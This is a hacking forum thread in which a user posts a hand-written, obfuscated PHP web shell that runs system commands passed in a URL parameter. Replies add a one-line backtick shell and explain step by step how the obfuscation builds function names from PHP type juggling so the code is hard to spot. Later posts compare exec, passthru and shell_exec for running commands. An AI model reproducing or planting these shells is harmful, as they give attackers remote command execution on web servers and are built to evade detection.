[Ego Inc]

So I've been messing arround with different methods of obfuscvation in php and stuff like that out of boredom lately.. So here is a very simple shell I wrote.

usage: /shell.php?c={exec_command_here}

Source:

PHP Code


<? /* Simple Shell by Tux. */
$_[+'']='';@$_=$_.'';@$__=++$__+(++$__);$__=$_[$__];
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
++$__;++$__;++$__;$___=$__;++$___;++$___;++$___;$__=$__.$___;$___=
$_[$__];++$___;++$___;++$___;$__=$__.$___;$___=$_[$__];++
$___;++$___;$____=$___;++$____;++$____;++$____;++$____;++$____;$___
=$___.$____;++$____;++$____;++$____;++$____;++$____;++$____;++$____;
++$____;++$____;++$____;$___=$___.$____;$__=+'';++$__;$____=
$__($_[$__]);$____=$____-++$__;$____=$___($____).$___(++$____+
(--$__));--$__;--$__;$__=$___[$__];++$__;$____=
$____.$__;++$__;++$__;++$__;++$__;++$__;$____=$____.
$__;$__=$__[$__];++$__;++$__;$____=$____.$__;++
$__;++$__;$__=$_[$__];++$__;++$__;++$__;++
$__;++$__;$____=$____.$__;$__=--$__;$__=$__
[$__];++$__;++$__;++$__;$__=$_[$__];$__=
$__($__)-1;$__=$___($__);$__=$__.$__.$__;
$__=+'';$__=$__.$___[$__];$__='_';$__=$_[+''];
++$__;++$__;++$__;++$__;++$__;++$__;
$__=$__.$__;$__=$__($__)-2;$__=$__.$___
($__);++$__;++$__;++$__;++$__;++$__;
++$__;++$__;++$__;++$__;++$__;++$__;
++$__;++$__;++$__;++$__;$__=$__.$___
($__);$____($__($_GET[$___[+'']]));?>

What do you all think of it?

[PigBacon]

<?php `{$_GET['c']}` ?>
That's still pretty hard to get unless you know what the fuck backticks do.

[Ego Inc]

<?php `{$_GET['c']}` ?>
That's still pretty hard to get unless you know what the fuck backticks do.

actually this doesn't use backticks tho? And the point of this was showing the obfuscation method :p

it uses exec() witch is the same but it spells it out.

[NeoXiD]

Nice idea, never thought of using this as an obfuscation. Also takes some time to deobfuscate it. It kinda reminds me of the language 'Brainfuck'. :p

[Ego Inc]

Nice idea, never thought of using this as an obfuscation. Also takes some time to deobfuscate it. It kinda reminds me of the language 'Brainfuck'. :p

Well do you understand what exactly I did? For instance how did I get the word 'exec' stored in the variable $__ wishout using any alphanumeric letters?

[NeoXiD]

Yes I do =P The last line makes it kinda obvious - a string contains the function name, which will be executed. And before you're doing a lot of fiddly string-building / character addition&subtraction, for example: 'a'++ --> 'b'

EDIT: Just curious, did you actually write a script to do that? Or is it 'hand written'?

[Ego Inc]

Yes I do =P The last line makes it kinda obvious - a string contains the function name, which will be executed. And before you're doing a lot of fiddly string-building / character addition&subtraction, for example: 'a'++ --> 'b'

EDIT: Just curious, did you actually write a script to do that? Or is it 'hand written'?

Hand written, but here's the big question for u, how did I get the alphabetic letters in there in the first place?

[NeoXiD]

Hand written, but here's the big question for u, how did I get the alphabetic letters in there in the first place?

Well, it is done like this:

Code

$a[+'']=''; // Create array
$a=$a.''; // Saves 'Array' into a string
$b=4; // For example, 5th character (=> y)
var_dump($a[$b]); // Access single character, will return "y"

Clever way to hide a character, I must admit, and it takes some time to see through ;)

Regards
NeoXiD

[Ego Inc]

Well, it is done like this:

Code

$a[+'']=''; // Create array
$a=$a.''; // Saves 'Array' into a string
$b=4; // For example, 5th character (=> y)
var_dump($a[$b]); // Access single character, will return "y"

Clever way to hide a character, I must admit, and it takes some time to see through ;)

Regards
NeoXiD

Very nice 🙂 You must of seen this before then 😝

[NeoXiD]

Thanks! And naah, not really, just a bit familiar with that chapter called "Type Juggling" in the PHP manual 🙂

[Ego Inc]

Thanks! And naah, not really, just a bit familiar with that chapter called "Type Juggling" in the PHP manual 🙂

Oh nice :p and yeah I've been having fun with it, had nothin to do at work lately so just been messing arround with php while there.

[LevelUp]

actually this doesn't use backticks tho? And the point of this was showing the obfuscation method :p

it uses exec() witch is the same but it spells it out.

Exec() sucks balls mang, why aren't you using passthru() or at least shell_exec()

[Ego Inc]

Exec() sucks balls mang, why aren't you using passthru() or at least shell_exec()

Its just a poc, lol :p But Im writing a much more sophisticated shell in this manor of obfuscation witch I will be releasing here shortly witch will have many measures with witch to try to execute system commands.

[urez]

Exec() sucks balls mang, why aren't you using passthru() or at least shell_exec()

why is passthru() and shell_exec() better than exec()? whats the difference,i thought they do basically the same thing

[Ego Inc]

why is passthru() and shell_exec() better than exec()? whats the difference,i thought they do basically the same thing

They work in different ways I believe.